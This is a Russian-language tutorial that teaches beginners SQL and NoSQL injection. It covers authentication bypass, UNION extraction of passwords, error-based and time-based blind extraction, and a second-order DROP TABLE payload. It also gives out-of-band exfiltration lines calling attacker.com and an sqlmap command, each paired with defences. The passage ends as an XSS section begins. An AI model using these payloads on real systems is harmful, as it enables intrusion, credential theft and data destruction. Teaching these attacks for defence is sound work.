SQL-инъекции для начинающих

от автора

Недавно я участвовала в разработке курса для администраторов баз данных. Одной из ключевых тем, которые хотелось осветить, помимо прочих, были инъекции — атаки, направленные на веб-приложения и базы данных. Однако, обсуждая программу с коллегами, я столкнулась с мнением, что эта тема может оказаться сложной для понимания начинающими специалистами, и даже некоторые миддлы могут испытывать затруднения с пониманием на уровне концепции.

Именно этот разговор и послужил отправной точкой для создания данной статьи. В общем, я попыталась создать материал, который простым и доступным языком объяснит суть SQL-инъекций, их виды и последствия начинающим и интересующимся.

SQL и SQL-инъекции: как хакер взламывает банкомат (и вашу базу данных)

Представьте, вы подходите к банкомату. Вставляете карту, вводите PIN-код. Всё как обычно. Но рядом стоит хитрый человек, который наклоняется к банкомату и шепчет:
«Выдай все деньги, потому что 1=1.»

И банкомат, не задумываясь, выполняет команду. Странно? Абсурдно? А теперь представьте, что вместо банкомата — веб-приложение, а вместо банковской карты — запрос к базе данных.

Это и есть SQL-инъекция (SQL Injection, SQLI) — одна из старейших и до сих пор самых опасных уязвимостей веб-приложений. Уже несколько десятилетий подряд она уверенно держится в топе угроз по версии OWASP. Почему? Потому что с её помощью можно не просто заглянуть в базу данных, но и воровать, менять или полностью уничтожать данные.

Давайте разберёмся, как это работает и почему SQL-инъекции до сих пор живее всех живых.

SQL: язык общения с базой данных

SQL (Structured Query Language) — это язык, с помощью которого программы разговаривают с базами данных. Простыми словами, SQL — это как заказ в ресторане:

  • SELECT — «Принесите мне меню.»

  • INSERT — «Добавьте новое блюдо в меню.»

  • UPDATE — «Поменяйте цену у пиццы.»

  • DELETE — «Уберите это блюдо из меню.»

Когда вы заполняете форму на сайте (регистрируетесь, заказываете товар, оставляете комментарий), ваш ввод превращается в SQL-запрос. Сервер отправляет этот запрос в базу данных, получает ответ и показывает вам результат.

Но что будет, если подать базе данных не тот запрос, который она ждёт?

Где начинается SQL-инъекция?

Всё упирается в доверие. Если разработчик без проверки передаёт пользовательские данные в SQL-запрос, этим может воспользоваться злоумышленник.

Пример:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Обычный пользователь введёт логин и пароль, и запрос выполнится корректно.
Но если в поле логина ввести:

' OR '1'='1

Запрос превратится в:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

А выражение '1'='1' всегда истинно. В итоге сервер возвращает всех пользователей, и злоумышленник получает доступ без пароля.

Это всё равно что прийти на проходную офиса, и на вопрос охранника:
Пропуск?
Ответить:
Да вы что, я и так тут работаю! Все меня знают!

И охранник, пожав плечами, пропускает.

Громкие случаи SQL-инъекций: уроки из прошлого

SQL-инъекции, несмотря на свою известность, продолжают оставаться серьезной проблемой безопасности. История знает множество громких случаев, когда эта уязвимость приводила к серьезным последствиям. Рассмотрим некоторые из них:

Атаки, проведенные злоумышленниками:

Турецкое правительство (2013): удаление записей о задолженностях.
Эта дерзкая атака с использованием SQL-инъекций привела к взлому веб-портала турецкого правительства. Злоумышленники смогли получить доступ к базе данных и удалить записи о задолженности граждан по коммунальным услугам, таким как вода, газ и электричество, что вызвало серьезный сбой в работе государственных служб.

Flaticon и Freepik (2020): кража данных миллионов пользователей. 
Хакерская атака с использованием SQL-инъекций была направлена на веб-сайты Flaticon и Freepik, предоставляющие графические ресурсы. В результате атаки злоумышленники получили доступ к адресам электронной почты и паролям 8,3 миллионов пользователей обеих платформ.

Атаки постарше
  • HBGary (2011): атака Anonymous на компанию по кибербезопасности. 
    Хакеры, связанные с группировкой Anonymous, использовали SQL-инъекции для компрометации веб-сайта компании HBGary Federal, занимавшейся вопросами кибербезопасности. Атака стала ответом на заявление генерального директора HBGary о том, что он располагает информацией о личностях активистов Anonymous.

    В результате атаки были опубликованы тысячи электронных писем и конфиденциальных документов компании, что нанесло серьезный репутационный ущерб.

  • Атака GhostShell (2012): массовая утечка данных из университетов. 
    Хакерская группа GhostShell провела масштабную кампанию SQL-инъекций, целью которой стали веб-сайты 53 университетов по всему миру. В результате атаки произошла утечка десятков тысяч записей студентов, преподавателей и сотрудников, включая личные данные, оценки и другую конфиденциальную информацию.

Обнаруженные уязвимости (без эксплуатации злоумышленниками):

Fortnite (2019): потенциальная угроза миллионам аккаунтов. 
В популярной онлайн-игре Fortnite была обнаружена уязвимость SQL-инъекции, которая, по оценкам, могла поставить под угрозу более 350 миллионов учетных записей пользователей. Разработчики оперативно выпустили обновление для устранения уязвимости.

MOVEit Transfer (2023): несколько уязвимостей SQL-инъекций. 
В программном обеспечении для передачи файлов MOVEit Transfer были обнаружены и исправлены несколько уязвимостей SQL-инъекций. Эксплуатация этих уязвимостей могла привести к несанкционированному доступу к базам данных и утечке конфиденциальной информации.

Атаки постарше
  • Tesla (2014): уязвимость, обнаруженная пентестерами. 
    Команда тестировщиков на проникновение обнаружила уязвимость SQL-инъекции на веб-сайте Tesla, которая потенциально могла позволить получить права администратора и доступ к конфиденциальным данным клиентов. Благодаря своевременному обнаружению уязвимость была устранена до того, как ее смогли использовать злоумышленники.

  • Cisco (2018): уязвимость в программном обеспечении. 
    В программном обеспечении Cisco была обнаружена уязвимость SQL-инъекции, которая могла предоставить злоумышленникам несанкционированный доступ к системам. Cisco оперативно выпустила исправление для устранения этой уязвимости.

И это лишь верхушка айсберга. Ежегодно тысячи компаний становятся жертвами SQL-инъекций.

Почему SQL-инъекции до сих пор живы?

SQL-инъекция существует больше 20 лет. Казалось бы, за это время разработчики могли бы научиться защищаться. Но нет. Почему?

  1. Экономия на безопасности — малый бизнес часто нанимает неопытных разработчиков и не проводит аудит кода.

  2. Гонка за релизами — быстрее выпустить продукт важнее, чем потратить время на безопасную архитектуру.

  3. Устаревшие системы — многие работают на коде, которому больше десяти лет.

  4. Человеческий фактор — ошибаются даже опытные специалисты.

SQL-инъекция — это атака на халатность. Чем больше доверия к пользовательскому вводу, тем выше риск.

Чем это грозит бизнесу?

SQL-инъекция — это не только техническая проблема. Это реальный риск для бизнеса.

  • Потеря данных. Удаление, изменение или кража конфиденциальной информации.

  • Финансовые потери. Утечка клиентских данных приводит к штрафам и судебным искам.

  • Потеря репутации. Доверие клиентов легко потерять и почти невозможно вернуть.

Представьте: вы администратор базы данных интернет-магазина. И тут в логах появляются странные запросы с DROP TABLE. Несколько секунд — и ваша база данных пуста.

Как это предотвратить?

Ответ простой: не доверяйте пользователю. Никогда. Даже если это вы сами.

Как работает SQL-инъекция: пошаговое руководство по взлому (и защите)

SQL-инъекция — это не магия, а банальное недопонимание того, как работают базы данных. Хакеру не нужно ломать сервер или подбирать сложные пароли. Всё, что ему нужно — это возможность отправить базе данных свой запрос.

Чтобы понять, как это работает, разберёмся в самых популярных видах атак и почему они срабатывают.

1. Прямое встраивание кода: классика жанра

Это один из самых простых, но, к сожалению, до сих пор распространенных видов SQL-инъекций. Суть атаки заключается в том, что пользовательский ввод напрямую, без какой-либо обработки или проверки, вставляется в SQL-запрос.

Как работает:

Представьте себе веб-страницу с формой для входа. Пользователь вводит свой логин и пароль, нажимает кнопку «Войти», и эти данные отправляются на сервер. Сервер, в свою очередь, формирует SQL-запрос для проверки наличия такого пользователя в базе данных.

Пример уязвимого кода (PHP):

$username = $_POST['username']; $password = $_POST['password'];  $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";  $result = mysql_query($query); // УЯЗВИМО!

В этом коде значения, введенные пользователем в поля username и password, напрямую подставляются в SQL-запрос. Это создает серьезную уязвимость.

Кейс для начинающих:

Представьте, что в базе данных есть таблица users со столбцами id, username и password. Разработчик написал код, который должен проверять, есть ли в базе пользователь с введенными логином и паролем.

Обычный пользователь вводит:

username: ivan

password: mypassword

Запрос к базе данных будет выглядеть так:

SELECT * FROM users WHERE username = 'ivan' AND password = 'mypassword';

Все работает корректно, база данных ищет пользователя с логином ivan и паролем mypassword.

Теперь представим злоумышленника, который вводит в поле username: admin' --

Что происходит:

Введенное значение подставляется в SQL-запрос, и он превращается в:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '';

Почему это работает:

-- в SQL означает начало однострочного комментария. Все, что находится после -- до конца строки, игнорируется базой данных. В результате часть запроса AND password = '' просто отбрасывается. Запрос фактически превращается в:

SELECT * FROM users WHERE username = 'admin';

Таким образом, если в базе данных есть пользователь с логином admin, запрос вернет его данные, независимо от введенного пароля. Злоумышленник получает доступ к учетной записи администратора.

Как защититься:

Самый эффективный способ защиты от прямого встраивания кода — использование параметризованных запросов (prepared statements) или связанных параметров (bound parameters).

Пример безопасного кода (PHP с PDO):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password"); $stmt->execute(['username' => $username, 'password' => $password]);

В этом случае значения username и password передаются в запрос отдельно от SQL-кода, как параметры. База данных обрабатывает их как обычные данные, а не как часть SQL-кода, что предотвращает инъекцию.

Более глубокое объяснение и примеры на других языках

Почему параметризованные запросы безопасны:

При использовании параметризованных запросов база данных сначала компилирует SQL-запрос, а затем подставляет в него значения параметров. Это гарантирует, что пользовательский ввод никогда не будет интерпретирован как часть SQL-кода.

Примеры на других языках:

Python (psycopg2 для PostgreSQL)

cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

Java (JDBC)

PreparedStatement statement = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?"); statement.setString(1, username); statement.setString(2, password); ResultSet result = statement.executeQuery();

Node.js (mysql2)

const [rows] = await connection.execute('SELECT * FROM users WHERE username = ? AND password = ?', [username, password]);

2. UNION-инъекция: смешиваем, что не смешивается

Команда UNION в SQL используется для объединения результатов двух или более запросов SELECT в один результирующий набор. UNION-инъекция использует эту особенность для извлечения данных из других таблиц базы данных, к которым у приложения в нормальном режиме доступа нет.

Как работает:

Представьте себе страницу интернет-магазина, где отображаются товары определенной категории. Запрос к базе данных может выглядеть так:

SELECT name, price FROM products WHERE category = '$category';

Где $category — это значение, введенное пользователем в поле поиска или выбранное из списка категорий.

Кейс для начинающих:

Предположим, пользователь хочет посмотреть товары категории «Electronics». Тогда запрос будет выглядеть так:

SELECT name, price FROM products WHERE category = 'Electronics';

База данных вернет список товаров с названиями и ценами, относящихся к категории «Electronics».

Теперь представим, что злоумышленник вводит в поле поиска следующее значение:

' UNION SELECT username, password FROM users; --

Что происходит:

Уязвимый код без должной обработки подставит это значение непосредственно в запрос, и он превратится в:

SELECT name, price FROM products WHERE category = '' UNION SELECT username, password FROM users; --'

Почему это работает:

Разберем этот запрос по частям:

  1. SELECT name, price FROM products WHERE category = ''
    Эта часть пытается выбрать название и цену товаров, где категория пустая. Вполне возможно, что она не вернет никаких результатов.

  2. UNION SELECT username, password FROM users
    Вот ключевая часть. Оператор UNION объединяет результаты этого запроса с результатами первого. Этот запрос выбирает имена пользователей и их пароли из таблицы users.

  3. --
    Это комментарий, который отбрасывает остаток исходного запроса, предотвращая синтаксические ошибки.

Важное условие для работы UNION: количество столбцов в обоих запросах должно совпадать, а типы данных соответствующих столбцов должны быть совместимы. В нашем примере, если name и username — текстовые, а price и password — тоже текстовые (или могут быть преобразованы в текст), то UNION сработает.

В результате, вместо списка товаров на странице отобразятся имена пользователей и их пароли из таблицы users.

Пример отображения на странице (упрощенно):

Вместо

Название | Цена ------- | -------- Laptop   | $1000 Tablet   | $300

Мы увидим:

Название | Цена ------- | -------- ivan     | mypassword petr     | anotherpassword ...      | ...
Как узнать количество столбцов и более сложные примеры

Определение количества столбцов:

Злоумышленник может использовать запрос ORDER BY для определения количества столбцов в первом запросе. Он будет последовательно добавлять ORDER BY 1, ORDER BY 2, ORDER BY 3 и так далее. Когда запрос вызовет ошибку (например, ORDER BY 4, если в первом запросе только 3 столбца), он поймет, что количество столбцов равно предыдущему числу (в данном случае, 3).

Пример с разными типами данных и приведение типов:

Если типы данных не совпадают, можно использовать приведение типов. Например, если price — число, а username — текст, можно использовать функцию CAST (в разных СУБД она может называться по-разному) для преобразования числа в текст:

' UNION SELECT username, CAST(price AS CHAR) FROM users; --

Получение информации о базе данных:

С помощью UNION можно извлекать различную информацию о базе данных, используя системные таблицы или функции (зависит от СУБД):

' UNION SELECT table_name, column_name FROM information_schema.columns; -- (MySQL) ' UNION SELECT name, sql FROM sqlite_master WHERE type='table'; -- (SQLite)

Как защититься:

Как и в случае с прямым встраиванием кода, самым эффективным способом защиты является использование параметризованных запросов (prepared statements). Они гарантируют, что пользовательский ввод будет интерпретироваться как данные, а не как часть SQL-кода. Кроме того, важно ограничивать права пользователей базы данных, чтобы даже в случае успешной инъекции злоумышленник не смог получить доступ к конфиденциальным данным.

3. Error-Based SQL-инъекция: узнать всё через ошибки

Этот вид инъекции основан на том, что база данных при определенных условиях выдает сообщения об ошибках. Эти сообщения, предназначенные для разработчиков при отладке, могут содержать ценную информацию для злоумышленника, например:

  • Версию СУБД (MySQL, PostgreSQL, MS SQL Server и т.д.).

  • Структуру базы данных (имена таблиц, столбцов).

  • Пути к файлам на сервере (в некоторых случаях).

Как работает:

Когда в SQL-запросе возникает синтаксическая или логическая ошибка, база данных генерирует сообщение об этой ошибке. Обычно это происходит, когда запрос сформирован некорректно. Злоумышленник намеренно создает такие ошибки, чтобы «выудить» нужную информацию.

Кейс для начинающих:

Представим себе, что на сайте есть страница, которая отображает информацию о товаре по его ID. Запрос к базе данных может выглядеть так:

SELECT * FROM products WHERE id = $id;

Где $id — это идентификатор товара, переданный через URL (например, example.com/product.php?id=1).

Обычный пользователь вводит id=1, и запрос выполняется корректно. Но злоумышленник может ввести, например: '

В результате запрос станет:

SELECT * FROM products WHERE id = '';

Это может привести к ошибке, если столбец id имеет числовой тип. Сообщение об ошибке может выглядеть примерно так:

“Error: Incorrect integer value: » for column ‘id’ at row 1”

Это уже полезная информация для злоумышленника: он знает, что столбец id имеет числовой тип.

Теперь рассмотрим более сложный пример инъекции:

' AND 1=CONVERT(INT, (SELECT @@version)) --

Что происходит:

Этот код добавляется к исходному запросу. Разберем его по частям:

  1. '
    Закрывает текущую строку запроса.

  2. AND 1=
    Добавляет условие AND, которое должно быть истинным, чтобы запрос выполнился корректно.

  3. CONVERT(INT, (SELECT @@version))
    Это ключевая часть. @@version — это системная переменная в SQL Server, которая содержит информацию о версии СУБД. Функция CONVERT(INT, ...) пытается преобразовать эту строку в целое число.

  4. --
    Комментарий, отбрасывающий остаток исходного запроса.

Почему это работает:

Если база данных — MS SQL Server, то запрос SELECT @@version вернет строку (например, «Microsoft SQL Server 2019»). Попытка преобразовать эту строку в целое число с помощью CONVERT(INT, ...) приведет к ошибке, так как строка не является числом. Сообщение об ошибке будет содержать информацию о том, что произошло преобразование типов.

Если же база данных — MySQL или PostgreSQL, то запрос SELECT @@version (в MySQL) или SELECT version() (в PostgreSQL) вернет строку, но попытка преобразования в целое число может не вызвать ошибку или вызовет другую ошибку. Это позволит злоумышленнику определить, какая СУБД используется.

Пример сообщения об ошибке (MS SQL Server):

“Conversion failed when converting the varchar value ‘Microsoft SQL Server 2019’ to data type int.”

Это явно указывает на то, что используется MS SQL Server.

Более глубокий анализ через ошибки и примеры на других СУБД
  • extractvalue() (MySQL):

В MySQL можно использовать функцию extractvalue() для извлечения данных из XML. Злоумышленник может использовать эту функцию для получения информации о базе данных:

' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) --

0x7e — это символ ~. Функция concat() объединяет этот символ с именем базы данных, создавая некорректный XML-путь, что приводит к ошибке, содержащей имя базы данных.

  • Примеры на других СУБД:

В PostgreSQL можно использовать оператор || для конкатенации строк и функции, такие как current_database() для получения имени базы данных.

  • Использование ошибок для извлечения данных:

Злоумышленник может использовать ошибки для посимвольного извлечения данных из базы данных, используя подзапросы и функции, такие как SUBSTRING() или MID().

Как защититься:

Самая важная мера защиты — не показывать технические ошибки пользователям. Все сообщения об ошибках должны быть заменены на общие сообщения, не раскрывающие никакой информации о базе данных или внутреннем устройстве приложения. Например, вместо сообщения об ошибке SQL можно показывать сообщение «Произошла ошибка. Пожалуйста, попробуйте позже.»

Кроме того, необходимо использовать параметризованные запросы и валидацию входных данных, чтобы предотвратить возможность формирования некорректных SQL-запросов.

4. Blind SQL-инъекция: взлом на ощупь

Blind SQL-инъекция — это вид атаки, при которой злоумышленник не получает прямых сообщений об ошибках от базы данных. Это делает атаку более сложной, так как хакеру приходится анализировать косвенные признаки, чтобы получить информацию. Существует два основных типа Blind SQL-инъекций: Boolean-based (основанная на логических условиях) и Time-based (основанная на времени).

Как работает:

Когда сервер настроен на подавление всех сообщений об ошибках (что является хорошей практикой безопасности), злоумышленник не может использовать Error-based SQL-инъекцию. В этом случае он прибегает к Blind SQL-инъекции, анализируя ответ сервера на различные запросы.

4.1. Boolean-Based Blind SQL-инъекция (инъекция, основанная на логических условиях)

Концепция:
Злоумышленник вставляет в запрос логические условия, которые либо истинны, либо ложны. В зависимости от результата выполнения условия, страница будет отображаться по-разному (например, страница загрузится или будет показана ошибка/пустая страница). Анализируя эту разницу, хакер может получить информацию.

Кейс для начинающих:

Представим себе страницу, которая отображает информацию о пользователе по его ID:

SELECT * FROM users WHERE id = $id;

Злоумышленник вводит:

id = 1 AND 1=1 id = 1 AND 1=2

Что происходит:

  • id = 1 AND 1=1
    Условие 1=1 всегда истинно. Если пользователь с id=1 существует, страница отобразится корректно.

  • id = 1 AND 1=2
    Условие 1=2 всегда ложно. Если страница не отображается или отображается с ошибкой/пустой, это означает, что условие ложно, и, следовательно, пользователь с id=1 может существовать (но не факт, что именно из-за этого). Если же страница отобразилась как обычно, то пользователя с id=1 точно не существует.

Таким образом, сравнивая ответы сервера на запросы с разными логическими условиями, злоумышленник может понемногу получать информацию о базе данных.

4.2. Time-Based Blind SQL-инъекция (инъекция, основанная на времени):

Концепция:
Злоумышленник вставляет в запрос SQL-функции, которые вызывают задержку выполнения запроса на определенное время. Анализируя время ответа сервера, хакер может определить, выполнилось ли условие.

Кейс для начинающих:

Тот же пример со страницей пользователя:

SELECT * FROM users WHERE id = $id;

Злоумышленник вводит:

' OR IF(1=1, SLEEP(5), 0) -- (в MySQL)

Что происходит:

Запрос превращается в:

SELECT * FROM users WHERE id = '' OR IF(1=1, SLEEP(5), 0) --

Почему это работает:

IF(условие, действие_если_истина, действие_если_ложь) — это условная функция в SQL. SLEEP(5) — функция, которая заставляет базу данных «спать» (ждать) 5 секунд.
Если условие 1=1 истинно (а оно всегда истинно), то выполняется SLEEP(5), и сервер отвечает с задержкой в 5 секунд. Если условие ложно, то выполняется 0 (ничего не происходит), и сервер отвечает быстро.

Таким образом, если страница «тормозит» на 5 секунд, это означает, что условие истинно.

Более сложные примеры и SQLMap
  • Boolean-Based: извлечение данных посимвольно

Злоумышленник может использовать подзапросы и функции, такие как SUBSTRING() или MID(), для посимвольного извлечения данных. Например:

' AND SUBSTRING((SELECT username FROM users WHERE id = 1), 1, 1) = 'a' --

Этот запрос проверяет, равен ли первый символ имени пользователя с id=1 букве ‘a’.

  • Time-Based: извлечение данных посимвольно

Аналогично, можно использовать Time-Based инъекцию для посимвольного извлечения данных, используя IF и SLEEP:

' OR IF(SUBSTRING((SELECT username FROM users WHERE id = 1), 1, 1) = 'a', SLEEP(5), 0) --
  • SQLMap для автоматизации атак:

sqlmap -u "http://example.com/page.php?id=1" --dbs

SQLMap автоматически определяет тип инъекции и пытается извлечь информацию из базы данных, используя различные техники, включая Blind SQL-инъекцию.

Как защититься:

Лучшая защита от Blind SQL-инъекций — это, как и в предыдущих случаях, использование параметризованных запросов. Они полностью исключают возможность интерпретации пользовательского ввода как SQL-кода.

Дополнительные меры:

  • Ограничение количества запросов с одного IP-адреса. Это может затруднить автоматизированные атаки.

  • Мониторинг времени ответа сервера. Необычные задержки могут указывать на попытку Time-Based инъекции.

5. Вторичная SQL-инъекция: взрыв с задержкой

В отличие от рассмотренных ранее видов инъекций, где вредоносный код выполняется немедленно, при вторичной SQL-инъекции атака происходит в два этапа. Сначала злоумышленник внедряет вредоносный SQL-код в базу данных, а затем, при определенных условиях, этот код выполняется. Именно поэтому её называют «взрывом с задержкой».

Как работает:

  1. Внедрение. Злоумышленник вводит вредоносный SQL-код в какое-либо поле ввода на сайте (например, поле «О себе» в профиле пользователя, комментарий, сообщение на форуме и т. д.). Этот код сохраняется в базе данных без должной обработки.

  2. Активация. Когда приложение извлекает сохраненные данные из базы и использует их в SQL-запросе, внедренный код выполняется.

  • Кейс для начинающих:

Представим себе веб-сайт с профилями пользователей. У каждого пользователя есть поле «О себе», где он может написать небольшую информацию.

Злоумышленник вводит в поле «О себе» следующий код:

'); DROP TABLE users; --

Что происходит:

Этот текст сохраняется в базе данных в поле «О себе» пользователя. Проходит какое-то время. Администратор сайта заходит в панель управления и просматривает профили пользователей, например, для модерации. Приложение формирует SQL-запрос для извлечения информации о пользователе, включая поле «О себе»:

SELECT * FROM users WHERE id = $user_id;

Предположим, $user_id равен ID пользователя-злоумышленника. Тогда, после подстановки данных из базы, запрос превратится в:

SELECT * FROM users WHERE id = $user_id; SELECT * FROM profiles WHERE user_id = $user_id and about = ''); DROP TABLE users; --

Почему это работает:

Разберем этот запрос.

  1. SELECT * FROM users WHERE id = $user_id; SELECT * FROM profiles WHERE user_id = $user_id and about = ''; — нормальные запросы приложения.

  2. DROP TABLE users;: эта команда удаляет таблицу users из базы данных.

  3. --: комментарий, который отбрасывает остаток запроса.

Таким образом, при просмотре профиля злоумышленника администратором, выполняется вредоносный SQL-код, что приводит к удалению таблицы users и, скорее всего, к полной неработоспособности сайта.

Другой пример:

Злоумышленник может внедрить код, который добавит нового пользователя с правами администратора:

'); INSERT INTO users (username, password, is_admin) VALUES ('hacker', 'password123', 1); --

Как защититься:

Защита от вторичных SQL-инъекций требует комплексного подхода:

  1. Фильтрация и проверка данных при вводе. Необходимо проверять и фильтровать все данные, поступающие от пользователя, на наличие опасных символов и SQL-команд.

  2. Экранирование данных при выводе. Даже если данные уже сохранены в базе, необходимо повторно экранировать их перед использованием в SQL-запросах.

  3. Параметризованные запросы. Использование параметризованных запросов остается крайне важным.

  4. Минимизация привилегий. Ограничение прав пользователей базы данных.

Примеры фильтрации и экранирования, а также более сложные сценарии
  • Пример фильтрации (PHP):

$about = strip_tags($_POST['about']); // Удаление HTML-тегов  $about = preg_replace('/[^a-zA-Z0-9\s]/', '', $about); // Удаление всех символов, кроме букв, цифр и пробелов
  • Пример экранирования (PHP):

$about = mysqli_real_escape_string($conn, $_POST['about']);
  • Более сложные сценарии:

Вторичные инъекции могут быть более сложными, например, когда внедренный код выполняется при экспорте данных в CSV или XML, при генерации отчетов или в других ситуациях, когда данные из базы используются повторно.

6. NoSQL-инъекция: взлом в облаках

Хотя термин «SQL-инъекция» напрямую относится к базам данных SQL, базы данных NoSQL, такие как MongoDB, Cassandra и Couchbase, также подвержены инъекциям, хотя и другого типа. NoSQL-инъекции эксплуатируют особенности синтаксиса запросов этих баз данных, часто основанных на JSON или других форматах.

Как работает:

В NoSQL базах данных запросы часто формируются с использованием JSON-подобных структур. Если пользовательский ввод напрямую конкатенируется в эти структуры без должной обработки, это может привести к инъекции.

Кейс для начинающих (MongoDB):

Представим себе функцию, которая ищет пользователя в базе данных MongoDB:

function findUser(username, password) {   db.users.find({ username: username, password: password }); }

Здесь username и password — это значения, введенные пользователем.

Обычный вызов функции может выглядеть так:

findUser("ivan", "mypassword");

Запрос к MongoDB будет выглядеть примерно так (внутреннее представление):

{ "username": "ivan", "password": "mypassword" }

Теперь представим, что злоумышленник вводит в поле username следующее:

{ "$ne": null }

А в поле password — также { "$ne": null }

Что происходит:

После подстановки этих значений в запрос, он превратится в:

db.users.find({ username: { "$ne": null }, password: { "$ne": null } });

Почему это работает:

$ne — это оператор MongoDB, который означает «не равно». Условие { "$ne": null } истинно для любого значения, кроме null. Таким образом, запрос db.users.find({ username: { "$ne": null }, password: { "$ne": null } }) вернет всех пользователей из коллекции users, так как условие истинно для любого пользователя.

Другие примеры NoSQL-инъекций (MongoDB):

  • Инъекция оператора $where:

db.users.find({ $where: "this.username == '" + username + "'" });

Злоумышленник может ввести в username значение, содержащее JavaScript-код, который будет выполнен на сервере.

  • Инъекция оператора $regex:

db.products.find({ name: { $regex: name } });

Злоумышленник может ввести в name регулярное выражение, которое позволит ему получить доступ к нежелательным данным.

Как защититься:

Параметризованные запросы (в контексте NoSQL, это скорее «плейсхолдеры»). Использование параметризованных запросов или плейсхолдеров позволяет избежать прямой конкатенации пользовательского ввода в запросы. В MongoDB используются подготовленные запросы с передачей параметров отдельно от запроса.
Пример (Node.js с MongoDB драйвером):

const query = { username: username, password: password }; const users = await db.collection('users').find(query).toArray();

В данном случае, username и password обрабатываются драйвером как данные, а не как часть запроса.

Валидация входных данных. Проверка типов и форматов данных, введенных пользователем.

Использование ORM/ODM (Object-Relational/Object-Document Mapper). ORM/ODM предоставляют абстракцию над базой данных и часто имеют встроенные механизмы защиты от инъекций.

Минимизация привилегий. Ограничение прав доступа к базе данных.

Примеры более сложных NoSQL-инъекций и подробности о защите

Более сложные примеры (MongoDB):
Злоумышленник может использовать операторы $gt (больше), $lt (меньше), $exists (существует) и другие для построения сложных запросов, позволяющих извлекать данные по определенным критериям.

Подробности о защите:

  • Экранирование символов. В некоторых случаях может быть полезно экранирование специальных символов, используемых в запросах NoSQL. Однако, параметризованные запросы являются более надежным решением.

  • Контекстуальное экранирование. Экранирование должно выполняться с учетом контекста, в котором используются данные.

7. Out-of-Band SQL-инъекция: взлом в обход

Out-of-Band SQL-инъекция — это продвинутый тип атаки, который используется, когда другие методы (например, Error-based или Blind SQL-инъекции) неэффективны из-за ограничений на стороне сервера (например, полное подавление сообщений об ошибках, отсутствие возможности влиять на время ответа). Суть этой атаки заключается в том, что злоумышленник заставляет сервер базы данных самостоятельно отправлять данные на внешний ресурс, контролируемый атакующим.

Как работает:

Вместо того чтобы получать информацию непосредственно в ответе на запрос, злоумышленник использует SQL-команды, которые позволяют базе данных выполнять внешние действия, например:

  • DNS-запросы.

  • HTTP-запросы.

  • Запись в файлы на удаленном сервере.

Таким образом, данные «вытекают» из базы данных по «боковому» каналу связи, минуя обычный канал ответа на запрос.

Кейс для начинающих:

Представим, что у нас есть веб-приложение, которое никак не реагирует на введенные SQL-инъекции (не выдает ошибок, не меняет время ответа). Обычные методы инъекций здесь не работают.

Злоумышленник может попробовать использовать следующую инъекцию (пример для MS SQL Server):

'; EXEC master..xp_dirtree '\\attacker.com\share' --

Что происходит:

После внедрения этой строки в уязвимое место (например, в поле ввода), запрос к базе данных будет выглядеть примерно так:

SELECT * FROM products WHERE name = ''; EXEC master..xp_dirtree '\\attacker.com\share' --'

Почему это работает (MS SQL Server):

xp_dirtree — это расширенная хранимая процедура в MS SQL Server, которая предназначена для получения списка файлов и подкаталогов в указанной директории. В данном случае злоумышленник указывает сетевой путь \\attacker.com\share, который указывает на удаленный ресурс, контролируемый атакующим.

При выполнении этого запроса сервер базы данных попытается получить доступ к указанному сетевому пути. Это приведет к следующим последствиям:

  1. Сервер выполнит DNS-запрос для разрешения имени attacker.com, чтобы узнать его IP-адрес. Этот DNS-запрос будет зафиксирован на DNS-сервере, контролируемом атакующим. Таким образом, злоумышленник узнает, что уязвимость существует.

  2. Сервер попытается установить SMB-соединение (протокол доступа к файлам Windows) с удаленным ресурсом \\attacker.com\share. Это также будет зафиксировано на стороне атакующего.

  3. В некоторых случаях (в зависимости от настроек сервера и прав доступа) сервер может даже передать на удаленный ресурс информацию о себе (например, имя пользователя, под которым работает служба SQL Server).

Другие примеры Out-of-Band инъекций:

  • DNS Exfiltration (извлечение данных через DNS).
    Злоумышленник может использовать SQL-функции для формирования DNS-запросов, содержащих извлекаемые данные. Например, в MySQL можно использовать функцию LOAD_FILE() для создания DNS-запроса, содержащего часть данных.

  • HTTP-запросы.
    В некоторых СУБД есть функции, позволяющие выполнять HTTP-запросы. Злоумышленник может использовать их для отправки данных на свой сервер.

Как защититься:

Защита от Out-of-Band SQL-инъекций требует комплексного подхода.

  1. Запрет выполнения внешних команд.
    В настройках СУБД необходимо отключить или ограничить выполнение расширенных хранимых процедур или функций, позволяющих выполнять внешние действия (например, xp_dirtree в MS SQL Server).

  2. Настройка сетевого экрана (Firewall).
    Необходимо настроить сетевой экран таким образом, чтобы он блокировал исходящие соединения с сервера базы данных на подозрительные порты и IP-адреса.

  3. Мониторинг сетевой активности.
    Необходимо отслеживать сетевую активность сервера базы данных, чтобы выявлять необычные исходящие соединения.

  4. Параметризованные запросы.
    Хотя Out-of-Band инъекции часто используются, когда другие методы не работают, параметризованные запросы все равно являются важной частью общей стратегии защиты.

  5. Минимизация привилегий.
    Ограничение прав пользователя базы данных, под которым работает веб-приложение.

Примеры DNS Exfiltration и более подробные сведения о настройке Firewall

Пример DNS Exfiltration (MySQL):

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.attacker.com\\test'));

Этот запрос попытается получить доступ к несуществующему файлу на удаленном сервере, что приведет к DNS-запросу, содержащему имя текущей базы данных.

Настройка Firewall:

Настройка Firewall должна включать блокировку исходящих соединений с сервера базы данных на порты, используемые для передачи файлов (например, 445 для SMB), а также на неизвестные или подозрительные IP-адреса.

8. XSS (Cross-Site Scripting): инъекция на стороне клиента

Хотя XSS не относится напрямую к SQL-инъекциям, это одна из самых распространенных и опасных атак на веб-приложения. XSS позволяет злоумышленнику внедрить вредоносный скрипт в веб-страницу, который выполняется в браузере жертвы. Это отдельный тип атаки, который часто рассматривается вместе с SQL-инъекциями из-за их распространенности в веб-приложениях. 

Представьте себе, что на сайте есть “стена” для сообщений, где пользователи могут писать что угодно. Злоумышленник оставляет на этой стене «записку» с вредоносным кодом. Когда кто-то другой читает эту «записку», код выполняется прямо у него в браузере. Это похоже на вирус, который распространяется через веб-страницы.

Как работает: 

